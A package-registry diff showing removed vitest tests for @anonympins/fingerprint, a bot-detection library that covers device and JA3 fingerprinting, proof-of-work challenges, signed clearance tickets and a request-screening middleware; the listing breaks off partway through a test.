@anonympins/fingerprint 0.4.2 → 0.4.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,2319 +1,2351 @@
1
- import {afterEach, assert, beforeEach, describe, expect, it, test, vi} from 'vitest';
2
- import {createHash, createHmac} from 'node:crypto';
3
- import {solveCpuTargetInline, solveMemory} from '../pow.solver.js';
4
- import {readFileSync} from 'node:fs';
5
- import {cyrb53, FingerprintBuilder} from '../fingerprint.builder.js';
6
- import * as dns from 'node:dns/promises';
7
- import * as fingerprint from '../fingerprint.js';
8
-
9
- // Mock import.meta.env before importing the module that uses it
10
- vi.mock('import-meta-env', () => ({
11
- env: { NODE_ENV: 'test', POW_SECRET: 'fallback-dev-secret-32-chars-minimum' },
12
- }));
13
- // Mock readFileSync for custom challenge page tests
14
- vi.mock('node:fs', async () => {
15
- const actualFs = await vi.importActual('node:fs');
16
- return { ...actualFs, readFileSync: vi.fn() };
17
- });
18
-
19
- const {
20
- FingerprintEngine,
21
- isTicketValid,
22
- identifyRequest,
23
- powMiddleware,
24
- __internal,
25
- configureStore,
26
- getClientHintsInconsistencyScore,
27
- verifyCpuTargetPoWAndGenerateTicket,
28
- verifyMemoryPoW,
29
- verifyTspChallenge,
30
- startThresholdAutoTuning,
31
- default_whitelist,
32
- stopThresholdAutoTuning,
33
- getCompositeDeviceHash,
34
- } = fingerprint;
35
- const { store, getRequestPatternScore, getDeviceHash } = __internal;
36
- let { getBehaviorScore, getClickVarianceScore } = __internal;
37
- // Mock the entire dns module
38
- vi.mock('node:dns/promises');
39
-
40
- describe('Fingerprint & PoW Security Suite', () => {
41
- test('cyrb53 should be deterministic', () => {
42
- const input = "test-string";
43
- expect(cyrb53(input)).toBe(cyrb53(input));
44
- expect(cyrb53("a")).not.toBe(cyrb53("b"));
45
- });
46
-
47
- describe('FingerprintBuilder', () => {
48
- test('should handle null and undefined values gracefully', () => {
49
- const builder = new FingerprintBuilder();
50
- builder.add('key1', 'value1');
51
- builder.add('key2', null);
52
- builder.add('key3', undefined);
53
- expect(builder.toString()).toBe('key1:6263243896157005');
54
- });
55
-
56
- test('comparison logic should handle various cases', () => {
57
- const fp1 = new FingerprintBuilder().add('hw', '8_16').add('gpu', 'nvidia').toString();
58
- const fp2 = new FingerprintBuilder().add('hw', '8_16').add('gpu', 'nvidia').toString();
59
- const fp3 = new FingerprintBuilder().add('hw', '4_8').add('gpu', 'amd').toString();
60
- const fp4 = new FingerprintBuilder().add('hw', '8_16').add('os', 'win32').toString(); // Partial match
61
-
62
- expect(FingerprintBuilder.compare(fp1, fp2), "Identical FPs should return 1").toBe(1);
63
- expect(FingerprintBuilder.compare(fp1, fp3), "Different FPs should have low similarity score").toBeLessThan(0.5);
64
- expect(FingerprintBuilder.compare(fp1, fp4), "Partial match should return a score between 0 and 1").toBeGreaterThan(0);
65
- expect(FingerprintBuilder.compare(fp1, fp4)).toBeLessThan(1);
66
- expect(FingerprintBuilder.compare(fp1, ''), "Comparison with empty string should be 0").toBe(0);
67
- expect(FingerprintBuilder.compare(null, fp2), "Comparison with null should be 0").toBe(0);
68
- });
69
- });
70
-
71
- describe('JA3 Fingerprinting', () => {
72
-
73
- const mockClientHello = {
74
- version: 'TLSv1.3',
75
- ciphers: [4865, 4866],
76
- extensions: [0, 23, 65281, 10, 11, 35, 16, 5, 13, 18, 51, 45, 43, 27, 21],
77
- ellipticCurves: [29, 23, 24],
78
- ellipticCurvePointFormats: [0],
79
- };
80
-
81
- afterEach(() => {
82
- // Restore any spies after each test in this block
83
- vi.restoreAllMocks();
84
- });
85
-
86
- test('should prioritize JA3 hash from x-ja3-hash header', async () => {
87
- const context = {
88
- headers: { 'x-ja3-hash': 'header-provided-ja3-hash' },
89
- rawReq: { socket: { clientHello: mockClientHello } } // Even if socket data exists
90
- };
91
- // We test getTlsFingerprint directly to isolate the logic.
92
- const { ja3 } = fingerprint.__internal.getTlsFingerprint(context);
93
- expect(ja3).toBe('header-provided-ja3-hash');
94
- });
95
-
96
- test('should calculate JA3 hash from clientHello if header is missing', () => {
97
- const context = {
98
- headers: {},
99
- rawReq: { socket: { clientHello: mockClientHello } }
100
- };
101
- const { ja3 } = fingerprint.__internal.getTlsFingerprint(context); // Directly call the function
102
- // We need to calculate the expected JA3 hash to verify it.
103
- const expectedJa3String = '772,4865-4866,0-23-65281-10-11-35-16-5-13-18-51-45-43-27-21,29-23-24,0';
104
- const expectedJa3Md5 = createHash('md5').update(expectedJa3String).digest('hex');
105
- const expectedComponentHash = cyrb53(expectedJa3Md5);
106
-
107
- const deviceHash = getCompositeDeviceHash(context); // Now call getCompositeDeviceHash after getTlsFingerprint
108
- expect(deviceHash).toContain(`ja3:${expectedComponentHash}`);
109
- expect(ja3).toBe(expectedJa3Md5);
110
- });
111
-
112
- test('should not include JA3 hash if no data is available', () => {
113
- // Ensure getTlsFingerprint returns nulls for this specific test
114
- vi.spyOn(fingerprint.__internal, 'getTlsFingerprint').mockReturnValue({ ja3: null, ja4: null });
115
-
116
- const context = {
117
- headers: {},
118
- rawReq: { socket: {} } // No clientHello
119
- };
120
- const deviceHash = getCompositeDeviceHash(context);
121
- expect(deviceHash).not.toContain('ja3:');
122
- });
123
-
124
- test('should handle missing rawReq or socket gracefully', () => {
125
- // Ensure getTlsFingerprint returns nulls for this specific test
126
- vi.spyOn(fingerprint.__internal, 'getTlsFingerprint').mockReturnValue({ ja3: null, ja4: null });
127
-
128
- const context1 = { headers: {} }; // No rawReq
129
- const context2 = { headers: {}, rawReq: {} }; // No socket
130
-
131
- const deviceHash1 = getCompositeDeviceHash(context1);
132
- const deviceHash2 = getCompositeDeviceHash(context2);
133
-
134
- expect(deviceHash1).not.toContain('ja3:');
135
- expect(deviceHash2).not.toContain('ja3:');
136
- });
137
- });
138
-
139
-
140
-
141
- describe('CPU Target PoW Workflow', () => {
142
- const ip = '127.0.0.1';
143
- const nonce = 'test-nonce';
144
- const suspicionFactor = 0.1; // Low suspicion for a quick test
145
- const clientSecret = 'my-super-secret-client-key';
146
-
147
- test('should solve and verify correctly without a clientSecret (fallback)', async () => {
148
- const securityConfig = { cpu: { minDifficultyBits: 2, maxDifficultyBits: 4 } }; // Difficulté plus faible pour le test
149
- let solution = 0;
150
- const target = __internal.calculateTarget(suspicionFactor, securityConfig);
151
- const baseBlock = new TextEncoder().encode(`${nonce}::test-fp-string:`);
152
- while (true) {
153
- const finalBlock = Buffer.concat([Buffer.from(baseBlock), Buffer.from(String(solution))]);
154
- const hash = createHash('sha256').update(finalBlock).digest('hex');
155
- if (BigInt('0x' + hash) < target) break;
156
- solution++;
157
- }
158
- const challengeContext = { cpuTarget: target.toString(16), baseBlock };
159
-
160
- const ticket = await verifyCpuTargetPoWAndGenerateTicket(ip, null, nonce, solution, challengeContext);
161
- expect(ticket, "Ticket should be generated for a valid solution without secret").toBeTruthy();
162
- expect(await isTicketValid(ip, ticket), "Ticket should be valid").toBe(true);
163
- });
164
-
165
- test('should solve and verify correctly WITH a clientSecret', async () => {
166
- const securityConfig = { cpu: { minDifficultyBits: 4 } };
167
- let solution = 0;
168
- const target = __internal.calculateTarget(suspicionFactor, securityConfig);
169
- // Client-side simulation now includes the secret
170
- const solverFingerprint = 'fp-with-secret';
171
- const baseBlock = new TextEncoder().encode(`${nonce}:${clientSecret}:${solverFingerprint}:`);
172
-
173
- while (true) {
174
- const finalBlock = Buffer.concat([Buffer.from(baseBlock), Buffer.from(String(solution))]);
175
- const hash = createHash('sha256').update(finalBlock).digest('hex');
176
- if (BigInt('0x' + hash) < target) break;
177
- solution++;
178
- }
179
-
180
- const challengeContext = { cpuTarget: target.toString(16), baseBlock };
181
-
182
- // Server-side verification includes the secret
183
- const ticket = await verifyCpuTargetPoWAndGenerateTicket(ip, null, nonce, solution, challengeContext);
184
- expect(ticket, "Ticket should be generated for a valid solution with secret").toBeTruthy();
185
- expect(await isTicketValid(ip, ticket), "Ticket should be valid for the same IP").toBe(true);
186
- expect(await isTicketValid('1.1.1.1', ticket), "Ticket should not be valid for a different IP").toBe(false);
187
- });
188
-
189
- test('should solve a medium-difficulty challenge within a reasonable time', async () => {
190
- const ip = '127.0.0.1';
191
- const nonce = 'test-nonce-perf';
192
- const suspicionFactor = 0.5; // "Niveau 2"
193
- const clientSecret = 'perf-secret';
194
- const securityConfig = { cpu: { minDifficultyBits: 18, maxDifficultyBits: 24 } };
195
-
196
- // Calcule la cible comme le ferait le serveur
197
- const target = __internal.calculateTarget(suspicionFactor, securityConfig);
198
- const baseBlock = new TextEncoder().encode(`${nonce}:${clientSecret}::`);
199
-
200
- // Simule la résolution du challenge
201
- let solution = 0;
202
- while (true) {
203
- const finalBlock = Buffer.concat([Buffer.from(baseBlock), Buffer.from(String(solution))]);
204
- const hash = createHash('sha256').update(finalBlock).digest('hex');
205
- if (BigInt('0x' + hash) < target) break;
206
- solution++;
207
- }
208
-
209
- expect(solution).toBeGreaterThan(0); // Vérifie que le challenge a bien été résolu
210
- }, 40000); // Timeout de 8 secondes pour ce test
211
- });
212
-
213
- test('PoW Ticket Expiration', async () => {
214
- const ip = '127.0.0.1';
215
- // Simulate an expired ticket by manipulating the string (for testing)
216
- const expiredTimestamp = Date.now() - 1000;
217
- const signature = createHmac("sha256", process.env.POW_SECRET || "fallback-dev-secret-32-chars-minimum").update(`${ip}:${expiredTimestamp}`).digest("hex");
218
- const ticket = `${expiredTimestamp}:${signature}`;
219
- expect(await isTicketValid(ip, ticket), "An expired ticket should be rejected").toBe(false);
220
- });
221
-
222
- describe('Memory PoW Verification', () => {
223
- const nonce = 'test-nonce-mem';
224
- const difficulty = 1; // 1MB for a quick test
225
- const clientSecret = 'my-mem-secret';
226
-
227
- const solveMemPoW = (seed, diff) => {
228
- const size = diff * 1024 * 1024;
229
- const buffer = new Uint32Array(size / 4);
230
- let h = new TextEncoder().encode(seed).reduce((acc, v) => acc + v, 0);
231
- for (let i = 0; i < buffer.length; i++) {
232
- buffer[i] = (h = Math.imul(h ^ i, 1597334677));
233
- }
234
- let clientSolution = 0;
235
- const iterations = size / 16;
236
- // Align the test solver with the actual implementation in fingerprint.js
237
- // This uses a data-dependent memory access pattern, which is more secure.
238
- let addr = buffer.length > 0 ? buffer[0] % buffer.length : 0;
239
- for (let i = 0; i < iterations; i++) {
240
- addr = buffer[addr] % buffer.length;
241
- clientSolution ^= addr;
242
- }
243
- return clientSolution;
244
- };
245
-
246
- test('should verify correctly without a clientSecret', () => {
247
- const clientSolution = solveMemPoW(`:${nonce}:`, difficulty);
248
- expect(verifyMemoryPoW(nonce, String(clientSolution), difficulty, undefined), "Valid memory PoW solution should be accepted").toBe(true);
249
- expect(verifyMemoryPoW(nonce, String(clientSolution + 1), difficulty, undefined), "Invalid memory PoW solution should be rejected").toBe(false);
250
- });
251
-
252
- test('should verify correctly WITH a clientSecret', () => {
253
- const seed = `:${nonce}:${clientSecret}`;
254
- const clientSolution = solveMemPoW(seed, difficulty);
255
-
256
- // Server-side verification
257
- expect(verifyMemoryPoW(nonce, String(clientSolution), difficulty, clientSecret), "Valid memory PoW with secret should be accepted").toBe(true);
258
- expect(verifyMemoryPoW(nonce, String(clientSolution + 1), difficulty, clientSecret), "Invalid memory PoW with secret should be rejected").toBe(false);
259
- expect(verifyMemoryPoW(nonce, String(clientSolution), difficulty, 'wrong-secret'), "Memory PoW with wrong secret should be rejected").toBe(false);
260
- });
261
- });
262
-
263
- test('TSP Challenge Verification', () => {
264
- const nonce = 'test-nonce-tsp';
265
- const cities = [{x: 10, y: 10}, {x: 90, y: 90}, {x: 10, y: 90}, {x: 90, y: 10}];
266
- const numCities = cities.length;
267
- const targetMaxDistance = 350; // A reasonable target for this square
268
-
269
- // A valid, optimal path for this square is [0, 2, 1, 3] or similar
270
- const validSolution = JSON.stringify([0, 2, 1, 3]);
271
- // An invalid path (not a permutation)
272
- const invalidPermutation = JSON.stringify([0, 1, 1, 2]);
273
- // A valid path, but likely too long
274
- const suboptimalSolution = JSON.stringify([0, 1, 2, 3]);
275
-
276
- expect(verifyTspChallenge(nonce, validSolution, numCities, targetMaxDistance, cities), "A valid TSP solution should be accepted").toBe(true);
277
- expect(verifyTspChallenge(nonce, invalidPermutation, numCities, targetMaxDistance, cities), "A TSP solution that is not a permutation should be rejected").toBe(false);
278
-
279
- // This test assumes the simple path is longer than the target.
280
- const isSuboptimalRejected = !verifyTspChallenge(nonce, suboptimalSolution, numCities, targetMaxDistance, cities);
281
- if (isSuboptimalRejected) {
282
- expect(true, "A suboptimal TSP solution (too long) should be rejected").toBe(true);
283
- }
284
- });
285
-
286
- describe('identifyRequest (for Rate Limiting)', () => {
287
- const inMemoryStore = {
288
- _map: new Map(),
289
- get: async (key) => inMemoryStore._map.get(key),
290
- set: async (key, value) => inMemoryStore._map.set(key, value),
291
- has: async (key) => inMemoryStore._map.has(key),
292
- delete: async (key) => inMemoryStore._map.delete(key),
293
- };
294
- const securityConfig = {
295
- weights: { historyScore: 0.3, rotationScore: 0.5, headerAnomalyScore: 0.4, inconsistencyScore: 0.8 },
296
- thresholds: { low: 20, medium: 35, high: 75 }
297
- };
298
- let engine;
299
-
300
- beforeEach(() => {
301
- inMemoryStore._map.clear();
302
- configureStore(inMemoryStore);
303
- vi.restoreAllMocks(); // Restore mocks before each test
304
- // Add a default mock for getTlsFingerprint to stabilize these tests
305
- vi.spyOn(fingerprint.__internal, 'getTlsFingerprint').mockReturnValue({
306
- ja3: 'mock-ja3', ja4: 'mock-ja4'
307
- });
308
- engine = new FingerprintEngine(securityConfig);
309
- });
310
-
311
- test('should return a device-specific key for a normal request', async () => {
312
- const requestContext = {
313
- clientIp: '127.0.0.1',
314
- cookies: {},
315
- headers: { // Minimal headers
316
- 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
317
- 'accept-language': 'en-US,en;q=0.9',
318
- 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8'
319
- },
320
- rawHeaders: ['User-Agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36', 'Accept-Language', 'en-US,en;q=0.9', 'Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8'],
321
- httpVersion: '1.1',
322
- query: new URLSearchParams() };
323
- const key = await engine.identifyRequest(requestContext);
324
- expect(key).toMatch(/^device:/);
325
- });
326
-
327
- test('should return a suspicion-based key for a highly suspicious request', async () => {
328
- // This context simulates a request from a simple script (e.g., curl) with missing headers.
329
- const requestContext = {
330
- clientIp: '127.0.0.1',
331
- cookies: {},
332
- headers: {}, // Simulate completely missing headers
333
- rawHeaders: [],
334
- httpVersion: '1.1',
335
- query: new URLSearchParams()
336
- };
337
- const key = await engine.identifyRequest(requestContext);
338
- // Missing accept/accept-language headers should trigger a medium suspicion score.
339
- expect(key).toBe('suspicious_medium:127.0.0.1');
340
- });
341
- });
342
-
343
- test('getDeviceHash should prioritize client-side fingerprint header', async () => {
344
- // 1. Spy on the getDeviceHash function from its actual module
345
- const getDeviceHashSpy = vi.spyOn(fingerprint, 'getDeviceHash');
346
-
347
- // 2. Simulate a request context with the special header
348
- const clientSideFingerprint = 'cvs:12345|gpu:67890|hw:stable';
349
- const requestContext = {
350
- headers: {
351
- 'user-agent': 'A regular user agent',
352
- 'x-device-fingerprint': clientSideFingerprint,
353
- },
354
- // ... other context properties
355
- };
356
-
357
- // 3. Call the function and assert it returns the client-side FP
358
- const result = fingerprint.getDeviceHash(requestContext);
359
-
360
- expect(result).toBe(clientSideFingerprint);
361
- expect(getDeviceHashSpy).toHaveBeenCalledWith(requestContext);
362
- });
363
-
364
- describe('powMiddleware', () => {
365
- // Mock store for tests
366
- const inMemoryStore = {
367
- _map: new Map(),
368
- async get(key) { return this._map.get(key); },
369
- async set(key, value) { this._map.set(key, value); },
370
- async has(key) { return this._map.has(key); },
371
- async delete(key) { this._map.delete(key); },
372
- };
373
- beforeEach(() => {
374
- inMemoryStore._map.clear();
375
- configureStore(inMemoryStore);
376
- });
377
-
378
- // Détecte si on est dans un environnement de CI/CD
379
- const isCI = !!process.env.CI;
380
-
381
- // Configuration de base pour les tests
382
- let securityConfig = {
383
- // Adjust weights to be more realistic and less aggressive for testing.
384
- // This prevents minor suspicion scores from being overly amplified and causing immediate blocks.
385
- weights: {
386
- historyScore: 0.3,
387
- rotationScore: 0.2,
388
- headerAnomalyScore: 0.1,
389
- inconsistencyScore: 0.2,
390
- requestPatternScore: 0.2,
391
- honeypotScore: 1.0, // Garder un poids élevé pour les tests de honeypot
392
- },
393
- thresholds: { low: 20, medium: 45, high: 75 },
394
- // NOUVEAU : Activer explicitement le challenge pour les nouveaux appareils pour ce scénario de test.
395
- // C'est cette option qui permet à la logique de s'exécuter.
396
- challengeNewDevices: true,
397
- };
398
- // For this specific test, we need to disable the new device challenge
399
- // to ensure a truly non-suspicious request passes without a challenge.
400
- const nonSuspiciousConfig = { ...securityConfig, challengeNewDevices: false };
401
-
402
-
403
- // Si on est en CI, on surcharge la configuration pour abaisser la difficulté
404
- if (isCI) {
405
- console.log('[CI Mode] Using low-difficulty configuration for tests.');
406
- securityConfig = {
407
- ...securityConfig,
408
- cpu: {
409
- minDifficultyBits: 1, // Difficulté CPU minimale
410
- maxDifficultyBits: 2, // Difficulté CPU maximale très faible
411
- }
412
- };
413
- }
414
-
415
- afterEach(() => {
416
- vi.restoreAllMocks();
417
- });
418
-
419
- test('should call next() for a non-suspicious request', async () => {
420
- // Simuler un appareil connu et non suspect
421
- const deviceId = 'known-device-123';
422
- await inMemoryStore.set(`device:${deviceId}`, {
423
- initialDeviceHash: 'some-hash',
424
- ips: new Set(['127.0.0.1']),
425
- lastUpdate: Date.now(),
426
- lastFpHash: 'some-hash',
427
- lastChangeTimestamp: 0,
428
- rapidChangeCount: 0,
429
- });
430
-
431
- vi.spyOn(__internal, 'getSuspicionVector').mockResolvedValue({
432
- historyScore: 0, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, honeypotScore: 0
433
- });
434
-
435
- const req = { path: '/', ip: '127.0.0.1', cookies: { device_id: deviceId }, query: {}, headers: { 'user-agent': 'test-ua' } };
436
- const res = { cookie: vi.fn(), status: vi.fn().mockReturnThis(), send: vi.fn() };
437
- const next = vi.fn();
438
-
439
- const middleware = powMiddleware(nonSuspiciousConfig);
440
- await middleware(req, res, next);
441
-
442
- expect(next, 'next() should have been called').toHaveBeenCalled();
443
- // Pour un appareil connu, le cookie ne doit pas être redéfini
444
- expect(res.cookie).not.toHaveBeenCalled();
445
- });
446
-
447
- test('should issue a minimal challenge for a new, non-suspicious device', async () => {
448
- // 1. Simuler un score de suspicion de 0.
449
- // A new device should have a score of at least 1 to trigger the initial challenge.
450
- vi.spyOn(__internal, 'getSuspicionVector').mockResolvedValue({
451
- historyScore: 1, rotationScore: 1, headerAnomalyScore: 1, inconsistencyScore: 0, honeypotScore: 0, requestPatternScore: 0
452
- });
453
-
454
- // 2. Simuler une nouvelle requête (pas de cookie device_id)
455
- const req = {
456
- path: '/', ip: '127.0.0.1', cookies: {}, query: {},
457
- headers: { 'user-agent': 'A normal browser' },
458
- rawHeaders: ['User-Agent', 'A normal browser'], httpVersion: '1.1'
459
- };
460
- let sentStatus, sentBody;
461
- const res = {
462
- status: (s) => { sentStatus = s; return res; },
463
- send: (b) => { sentBody = b; },
464
- cookie: vi.fn()
465
- };
466
- const next = vi.fn();
467
-
468
- await powMiddleware(securityConfig)(req, res, next);
469
-
470
- // 3. Vérifier qu'un challenge est bien émis, même avec un score de 0
471
- expect(sentStatus).toBe(404);
472
- expect(sentBody).toContain('Enhanced Verification');
473
- expect(next).not.toHaveBeenCalled();
474
- });
475
-
476
- test('should issue a challenge for a suspicious request', async () => {
477
- const getSuspicionVectorSpy = vi.spyOn(__internal, 'getSuspicionVector').mockImplementation(async (requestContext, securityConfig) => {
478
- // The securityConfig is passed as the second argument
479
- expect(securityConfig).toBeDefined();
480
- return {
481
- historyScore: 25, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, honeypotScore: 0
482
- };
483
- });
484
-
485
- const req = {
486
- path: '/',
487
- ip: '127.0.0.1',
488
- cookies: {},
489
- query: {},
490
- headers: { 'user-agent': 'test-ua' },
491
- rawHeaders: ['User-Agent', 'test-ua'], httpVersion: '1.1' };
492
- let sentStatus, sentBody;
493
- const res = {
494
- status: (s) => { sentStatus = s; return res; },
495
- send: (b) => { sentBody = b; },
496
- cookie: vi.fn() // Mock cookie to prevent errors in getSuspicionVector
497
- };
498
- const next = vi.fn(() => { throw new Error('next() should not be called'); });
499
-
500
- req.fingerprint = {};
501
- const middleware = powMiddleware(securityConfig);
502
- await middleware(req, res, next);
503
-
504
- assert.strictEqual(sentStatus, 404, 'Status should be 404');
505
- assert.ok(sentBody.includes('Enhanced Verification'), 'Should send a combined challenge page even for low suspicion');
506
- assert.ok(sentBody.includes('Initializing combined verification...'), 'Challenge should always be the combined CPU+Mem type');
507
- });
508
-
509
- test('should issue a Memory challenge for a medium-suspicious request', async () => {
510
- vi.spyOn(__internal, 'getSuspicionVector').mockImplementation(async function() {
511
- return {
512
- historyScore: 50, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, honeypotScore: 0
513
- };
514
- });
515
-
516
- const req = { path: '/', ip: '127.0.0.1', cookies: {}, query: {}, headers: { 'user-agent': 'test-ua' } };
517
- let sentStatus, sentBody;
518
- const res = {
519
- status: (s) => { sentStatus = s; return res; },
520
- send: (b) => { sentBody = b; },
521
- cookie: vi.fn() // Mock cookie to prevent errors in getSuspicionVector
522
- };
523
- const next = vi.fn(() => { throw new Error('next() should not be called'); });
524
-
525
- req.fingerprint = {};
526
- await powMiddleware(securityConfig)(req, res, next);
527
-
528
- expect(sentStatus, 'Status should be 404').toBe(404);
529
- expect(sentBody, 'Should send a combined challenge page for medium suspicion').toContain('Enhanced Verification');
530
- expect(sentBody, 'Challenge should be the combined CPU+Mem type').toContain('Initializing combined verification...');
531
- });
532
-
533
- test('should use a custom HTML template for the challenge page if provided', async () => {
534
- const customTemplate = `
535
- <!DOCTYPE html>
536
- <html>
537
- <head><title>Custom Verification</title></head>
538
- <body>
539
- <h1>Please wait, we are checking your browser.</h1>
540
- <div id="custom-loader">Loading...</div>
541
- <script><!-- FINGERPRINT_SOLVER_SCRIPT --></script>
542
- <script><!-- FINGERPRINT_CHALLENGE_SCRIPT --></script>
543
- <!-- FINGERPRINT_TRAPS -->
544
- </body>
545
- </html>`;
546
-
547
- // Configure le mock de readFileSync pour retourner notre template
548
- readFileSync.mockReturnValue(customTemplate);
549
-
550
- const customSecurityConfig = {
551
- ...securityConfig,
552
- challengePagePath: './path/to/custom-challenge-page.html',
553
- };
554
-
555
- vi.spyOn(__internal, 'getSuspicionVector').mockResolvedValue({ historyScore: 30 });
556
-
557
- const req = { path: '/', ip: '127.0.0.1', cookies: {}, query: {}, headers: { 'user-agent': 'test-ua' }, rawHeaders: [], httpVersion: '1.1' };
558
- let sentStatus, sentBody;
559
- const res = { status: (s) => { sentStatus = s; return res; }, send: (b) => { sentBody = b; }, cookie: vi.fn() };
560
- const next = vi.fn();
561
-
562
- await powMiddleware(customSecurityConfig)(req, res, next);
563
-
564
- expect(readFileSync).toHaveBeenCalledWith('./path/to/custom-challenge-page.html', 'utf-8');
565
- expect(sentStatus).toBe(404);
566
- expect(sentBody).toContain('<h1>Please wait, we are checking your browser.</h1>');
567
- expect(sentBody).toContain('async function solve()'); // Vérifie que le script du challenge a été injecté
568
- });
569
-
570
- test('should issue a high-difficulty combined challenge for a high-suspicion request', async () => {
571
- vi.spyOn(__internal, 'getSuspicionVector').mockImplementation(async function() {
572
- return {
573
- historyScore: 80, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, honeypotScore: 0
574
- };
575
- });
576
-
577
- const req = { path: '/', ip: '127.0.0.1', cookies: {}, query: {}, headers: { 'user-agent': 'test-ua' } };
578
- let sentStatus, sentBody;
579
- const res = {
580
- status: (s) => { sentStatus = s; return res; },
581
- send: (b) => { sentBody = b; },
582
- cookie: vi.fn()
583
- };
584
- const next = vi.fn(() => { throw new Error('next() should not be called'); });
585
-
586
- req.fingerprint = {};
587
- await powMiddleware(securityConfig)(req, res, next);
588
-
589
- expect(sentStatus, 'Status should be 404').toBe(404);
590
- expect(sentBody, 'Should send a combined challenge page for high suspicion').toContain('Enhanced Verification');
591
- });
592
-
593
- test('should issue a JSON challenge for an API request', async () => {
594
- // 1. Configure the middleware to identify API requests
595
- const apiSecurityConfig = {
596
- ...securityConfig,
597
- thresholds: {
598
- ...securityConfig.thresholds,
599
- // Identifie toute requête acceptant du JSON comme une requête API
600
- isApiRequest: (req) => req.headers.accept?.includes('application/json'),
601
- }
602
- };
603
-
604
- // 2. Simulate a suspicion score
605
- vi.spyOn(__internal, 'getSuspicionVector').mockResolvedValue({
606
- historyScore: 50, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, honeypotScore: 0
607
- });
608
-
609
- // 3. Simuler une requête API (avec le header 'Accept')
610
- const req = {
611
- path: '/api/data', ip: '127.0.0.1', cookies: {}, query: {},
612
- headers: { 'user-agent': 'test-ua', 'accept': 'application/json' },
613
- rawHeaders: ['User-Agent', 'test-ua', 'Accept', 'application/json'], httpVersion: '1.1'
614
- };
615
- let sentStatus, sentBody;
616
- const res = {
617
- status: (s) => { sentStatus = s; return res; },
618
- json: (b) => { sentBody = b; }, // Utiliser .json() pour les réponses API
619
- cookie: vi.fn()
620
- };
621
- const next = vi.fn();
622
- req.fingerprint = {}; // Initialize req.fingerprint
623
-
624
- await powMiddleware(apiSecurityConfig)(req, res, next);
625
-
626
- expect(sentStatus).toBe(404);
627
- expect(sentBody.challenge.type).toBe('cpu_mem');
628
- expect(sentBody.challenge).toHaveProperty('nonce');
629
- expect(sentBody.challenge).toHaveProperty('cpuTarget');
630
- });
631
-
632
- test('should call next() for a suspicious request with a valid ticket', async () => {
633
- vi.spyOn(__internal, 'getSuspicionVector').mockImplementation(async function() {
634
- return {
635
- historyScore: 25, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, honeypotScore: 0
636
- };
637
- });
638
-
639
- const ip = '127.0.0.1';
640
- const expiry = Date.now() + 3600000;
641
- const signature = createHmac("sha256", process.env.POW_SECRET || "fallback-dev-secret-32-chars-minimum").update(`${ip}:${expiry}`).digest("hex");
642
- const validTicket = `${expiry}:${signature}`;
643
-
644
- const req = { path: '/', ip, cookies: { pow_clearance: validTicket }, query: {}, headers: { 'user-agent': 'test-ua' } };
645
- const res = { cookie: vi.fn() };
646
- const next = vi.fn();
647
-
648
- req.fingerprint = {};
649
- await powMiddleware(securityConfig)(req, res, next);
650
-
651
- expect(next, 'next() should have been called for a request with a valid ticket').toHaveBeenCalled();
652
- });
653
-
654
- test('should redirect after a valid PoW solution is provided', async () => {
655
- // --- 1. Setup: Define context and mock a suspicious score ---
656
- const ip = '127.0.0.1';
657
- const originalPath = '/protected/resource';
658
- const solverFingerprint = 'fp-for-valid-solution';
659
- const userAgent = 'test-ua-valid';
660
-
661
- vi.spyOn(__internal, 'getSuspicionVector').mockResolvedValue({
662
- historyScore: 30, // A score high enough to trigger a challenge
663
- });
664
-
665
- // Merge CI config correctly. The CI config should take precedence.
666
- const securityConfigWithLowDiff = {
667
- ...securityConfig, // Base config
668
- cpu: { minDifficultyBits: 4, ...securityConfig.cpu }, // Apply local diff, but let CI config (securityConfig.cpu) overwrite it.
669
- };
670
- const middleware = powMiddleware(securityConfigWithLowDiff);
671
-
672
- // --- 2. Initial Request: Trigger the challenge ---
673
- const req1 = {
674
- path: originalPath, ip, cookies: {}, query: {},
675
- headers: { 'user-agent': userAgent, 'x-device-fingerprint': solverFingerprint },
676
- rawHeaders: ['User-Agent', userAgent], httpVersion: '1.1'
677
- };
678
- let challengeBody;
679
- const res1 = {
680
- status: () => res1,
681
- send: (body) => { challengeBody = body; },
682
- cookie: vi.fn()
683
- };
684
- req1.fingerprint = {}; // Initialize req.fingerprint
685
- await middleware(req1, res1, vi.fn());
686
-
687
- expect(challengeBody).toContain('Enhanced Verification');
688
-
689
- // --- 3. Client-Side: Solve the challenge ---
690
- const nonce = challengeBody.match(/const nonce = "([^"]+)"/)[1];
691
- const clientSecret = challengeBody.match(/const clientSecret = "([^"]+)"/)[1];
692
- const cpuTargetHex = challengeBody.match(/const cpuTarget = BigInt\("0x" \+ "([^"]+)"\);/)[1];
693
- const memDifficulty = parseInt(challengeBody.match(/const memDifficulty = (\d+)/)[1], 10);
694
-
695
- // The client constructs the base block and solves the challenge
696
- const baseBlock = new TextEncoder().encode(`${nonce}:${clientSecret}:${solverFingerprint}:`);
697
- const cpuSolution = await solveCpuTargetInline(baseBlock, cpuTargetHex, () => {});
698
- const memSolution = await solveMemory(`:${nonce}:${clientSecret}`, memDifficulty);
699
-
700
- // --- 4. Submission Request: Send the valid solution ---
701
- const req2 = {
702
- path: originalPath, ip, cookies: {},
703
- query: {
704
- pow_type: 'cpu_mem',
705
- pow_nonce: nonce,
706
- pow_solution_cpu: String(cpuSolution),
707
- pow_solution_mem: String(memSolution),
708
- pow_fp: solverFingerprint
709
- },
710
- headers: { 'user-agent': userAgent, 'x-device-fingerprint': solverFingerprint },
711
- rawHeaders: ['User-Agent', userAgent], httpVersion: '1.1'
712
- };
713
- let capturedCookie;
714
- const res2 = {
715
- cookie: (name, value, options) => { capturedCookie = { name, value, options }; },
716
- redirect: vi.fn(),
717
